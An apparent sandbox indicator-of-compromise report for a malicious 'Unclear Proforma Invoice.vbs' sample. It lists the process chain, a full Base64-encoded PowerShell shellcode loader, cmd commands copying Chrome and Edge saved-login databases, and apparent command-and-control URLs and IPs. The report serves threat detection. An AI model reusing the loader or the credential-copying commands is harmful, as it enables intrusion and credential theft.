IOC Report
Unclear Proforma Invoice.vbs

Unclear Proforma Invoice.vbs

ASCII text, with CRLF line terminators

initial sample

C:\Windows\System32\wscript.exe

C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\Unclear Proforma Invoice.vbs"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGUAbABzACAAUABhAHIAYQBwAHMAeQBrACAAQQBuAHQAaQBoACAARAB1AGQAZQBsAHMAYQBjACAAZABlAHMAdQBsACAATQB1AHIAcABoAGkAZQBkACAATQBsAGQAcgAgAEwAbwB1AHQAaABlACAAQQBjAGMAdQBtAGIAZQBuAHQAawAgAFAAZQBjAHQAbwByAGEAbABpAHMAIABEAHUAdgBlAHQAIABPAHAAcwBwAHIAdABuACAAbgBlAGQAZABpAGUAcwAgAFUAZABzAHYAaQBuAGcAIABBAG4AYQBsAHkAcwBlAGEAIABGAGEAcgBlAHMAZwBsAG8AIABEAGUAbQBhAHIAIABCAGwAdQBlAGIAZQBsACAAQwBvAHUAcgBpAGQAYQBoACAAbwBmAGYAbABpAGMAIAANAAoAIwBSAHUAbABsAGUAcwB0ACAATABhAGMAaAByAHkAbQBhAHQAIABCAGEAcgB5AHQAaAB5AG0AIABNAGEAcgBpAHMAIAB0AG8AbABzAGUAeQBrAHUAbAAgAFUAdQBkAHMAbAB1AGsAawBlACAAUwBhAHQAcwBiAGkAbABsAGUAIABBAGwAdgBpAGQAZQBuAGQAIABVAGQAZwBhAG4AZwBzAGYAbwByACAAVgBlAGQAZwBhACAARgBlAHIAaQBlAGwAdQBrAG4AIABSAGUAeQBrACAAQwBoAGEAcwBzAGUAcgAgAEUAcQB1AGEAbABsAGkAIABGAG8AcgBzAHQAZQBuACAAbQB1AHMAawBpACAAVQBuAHAAZQBlAGwAIABTAHAAZQBrAHQAYQAgAEoAdQBuAGcAbQBhAG4AZAB1AG4AIABpAG4AZAB1AGsAdAAgAEkAcwBvAGwAIABTAGsAZQBsAG4AZQBtAHIAawAgAEQAZwBuAGYAbAAgAEYAbwBsAGsAZQByAGUAIABBAGYAcABhAHMAbgAgAEQAYQBsAGwAeQAgAEwAYQBuAGQAZwBhAG4AZwBzACAASABlAG4AcgBpAGsAcwBlAG4AIABNAG8AbABiAG8AaABpAHMAIABTAGEAbgBlAHIAaQBuAGcAIABHAHIAdQB0AG4AIABTAHQAYQBrAGwAYQBkAGUAcgBuACAAQQByAGMAaAAgAA0ACgAkAEMAMwAyACAAPQAgAFsAYwBoAGEAcgBdADMANAAgACsAIAAiAFoAIgAgACsAIAAiAHcAQQAiACsAIgBsAGwAIgArACIAbwBjACIAKwAiAGEAdABlAFYAaQByACIAKwAiAHQAdQBhAGwATQAiACsAIgBlACIAKwAiAG0AIgArACIAbwByAHkAIgAgACsAIABbAGMAaABhAHIAXQAzADQADQAKACMAQwBvAG0AbQBhAG4AZABpAG4AZwAgAHUAbgBkAGUAcgBiAGUAIABBAHAAbwByAHIAIABVAG4AZgB1AHQAaQBsACAASgB1AGwAaQBhAG4AaQBzAHQAYgAgAEIAYQBnAGsAbABkAG4AaQBuAGcAIABTAGUAcgBlAG4AIABDAG8AbgB2ACAATwBzAHQAZQBvAHAAbABhACAAVQBuAHAAcgBlAGYAZQByAGEAIABTAGEAbQBtAGUAIABTAGUAbQBpAHMAcABpAHIAYQAgAFIAZQBnAGUAbgBzAGkAYQBuAGUAIABGAGUAaABzAG8AIABTAGsAbwB2ACAASwBvAG0AcABsAGUAdAB0AGUAIABSAGUAZABzAGUAIABEAGkAcwBwAHUAdABkAGEAZwAgAEYAYQB1AGMAIABTAGUAbQBpACAAZwBhAGwAYQBjAHQAIABOAG8AcgBvAHAAaQBhAG4AaQBjACAATQBpAGwAbABpAHMAZQBrAHUAbgAgAEIAZQBnAHIAZQBiAHMAZAAgAEsAZABmAGEAcgAgAE0AaQBzAG8AZwB5ACAAVABvAHAAZgBvAHIAcwBwACAAQwBwAHIAZgAgAGwAaQB2AHMAYgBlAHQAaQAgAE8AcgBkAHIAZQAgAE0AbABkAGUAaQBuAG8AZABvACAARQBrAHMAYQBtAGUAbgAgAFUAZABkAGEAbgBuAGUAbABzAGUAIAANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGsAeQBkADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBUAGkAbQBlAEYAbwByAG0AYQB0AHMAQQAoAHUAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADUALABpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANgAsACAAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADcAKQA7AA0ACgANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBQAGkAcABlACgAdQBpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANQAsAGkAbgB0ACAARABlAHIAaQB2AGEAdABpAHYAdAA2ACwAIABpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANwApADsADQAKAA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACwAIABFAG4AdAByAHkAUABvAGkAbgB0AD0AJABDADMAMgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABGAGkAZABhACgAaQBuAHQAIABTAGsAeQBkADYALAByAGUAZgAgAEkAbgB0ADMAMgAgAGwAbgBkAGcAaAAsAGkAbgB0ACAARABlAHIAaQB2AGEAdABpAHYAdAAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBrAHkAZAAsAGkAbgB0ACAAUgBnAGUAbgBkAGUAMQA0ADIALABpAG4AdAAgAFMAawB5AGQANwApADsADQAKAA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEYAaQBsAGUAVABpAG0AZQAoAHUAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADUALABpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANgApADsADQAKAA0ACgB9AA0ACgAiAEAADQAKACMAYgBvAHIAdABzACAARgB5AGcAZQBoAGUAbgB0ACAATwBzAHQAaQBuAGQAaQBlAGYAYQAgAEQAZQBuAHMAaQBmAGkAYwBhAHQAIABFAHgAYwBlAGwAIAB1AGQAZQBuAHIAaQBnAHMAbQAgAHYAYQBzAGkAYwBlAG4AdAByAGkAIABXAGkAbgBlAHMAawBpAG4AYQB2ACAAUwBrAGkAYgBzAGwAYQBkAG4AaQAgAFkAZABlAGwAcwBlAHMAbgBpAHYAIAANAAoAJABTAGsAeQBkADMAPQAwADsADQAKACQAUwBrAHkAZAA5AD0AMQAwADQAOAA1ADcANgA7AA0ACgAkAFMAawB5AGQAOAA9AFsAUwBrAHkAZAAxAF0AOgA6AEYAaQBkAGEAKAAtADEALABbAHIAZQBmAF0AJABTAGsAeQBkADMALAAwACwAWwByAGUAZgBdACQAUwBrAHkAZAA5ACwAMQAyADIAOAA4ACwANgA0ACkADQAKACQAYgBhAHIAbwB1AGMAaABlAHQAdAA9ACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAUwB0AGgAYQBtAG0AZQAiACkALgBTAGsAbwB2AG0ADQAKACQARABlAHIAaQB2AGEAdABpAHYAdAAwACAAPQAgACcAJABEAGoAdgBsAGUAdQBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAJwArACcAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQByAG8AdQBjAGgAZQB0AHQAKQAnAA0ACgAmACAAKAAgAFsAYwBoAGEAcgBdADEAMAA1ACsAJwBFACcAKwAnAFgAJwApACAAJABEAGUAcgBpAHYAYQB0AGkAdgB0ADAADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAEQAagB2AGwAZQB1AGQALAAgADAALAAgACAAJABTAGsAeQBkADMALAAgACQARABqAHYAbABlAHUAZAAuAGMAbwB1AG4AdAApADsADQAKAFsAUwBrAHkAZAAxAF0AOgA6AEUAbgB1AG0AVABpAG0AZQBGAG8AcgBtAGEAdABzAEEAKAAkAFMAawB5AGQAMwAsACAAMAAsACAAMAApAA0ACgANAAoADQAKAA0ACgA=

C:\Program Files (x86)\Internet Explorer\ielowutil.exe

C:\Program Files (x86)\internet explorer\ielowutil.exe

C:\Windows\explorer.exe

C:\Windows\Explorer.EXE

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\SysWOW64\rundll32.exe

C:\Program Files (x86)\Internet Explorer\ielowutil.exe

"C:\Program Files (x86)\internet explorer\ielowutil.exe"

C:\Program Files (x86)\Internet Explorer\ielowutil.exe

"C:\Program Files (x86)\internet explorer\ielowutil.exe"

C:\Windows\SysWOW64\cmd.exe

/c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V

C:\Windows\SysWOW64\cmd.exe

/c copy "C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V

C:\Program Files\Mozilla Firefox\firefox.exe

C:\Program Files\Mozilla Firefox\Firefox.exe

http://www.mojawapo.com/tuid/?m4bd=WEOQpGNSR38PhgWGQI/4C8NMlFMwGI3qKGQVHk5AxuPmXhsKWgjXW9kcijjoxdm/j8Qu&APPTx=9r9PSR

154.23.227.120

http://www.coolarts.xyz/tuid/

13.248.216.40

http://www.worldbrands.wine/tuid/

81.95.96.29

http://www.receiveprim.online/tuid/?m4bd=5V7M8j5VuGkiy9NL3tIypAJy22VFPCeBH5Oh5nibDDbINvkaWpZ6bb8s5rlg19isjBzt&M8s=w86DJpgx5FYlUfRP

188.114.96.3

http://www.emitacademy.com/tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=83varyKolJl8CknPQYlgcSGzNVcyrkZOB+D5ZpiMClZzhWRqo67UpTDjwxWvk8XKYz02

154.95.160.71

http://www.ap-render.com/tuid/

89.46.108.25

http://www.secureartist.com/tuid/

104.21.39.116

http://www.svgjp.com/tuid/?m4bd=p0pyYx380zTi+CiqScB4rLgyoRdRZyFFdRM5Rh8HyCuUL1S9LlJi1JnCbSa7CQi/RAeh&8pB=3fY8ljB8rp-H

199.15.163.148

http://www.ghanesa.xyz/tuid/?m4bd=cJ4k7DdOtYQngKRIFYz9xfmhcqtIvpGa85+jixf523tlwbXsspzXRN02o1TtG1NqJ3tW&APPTx=9r9PSR

103.150.61.226

http://www.svgjp.com/tuid/

199.15.163.148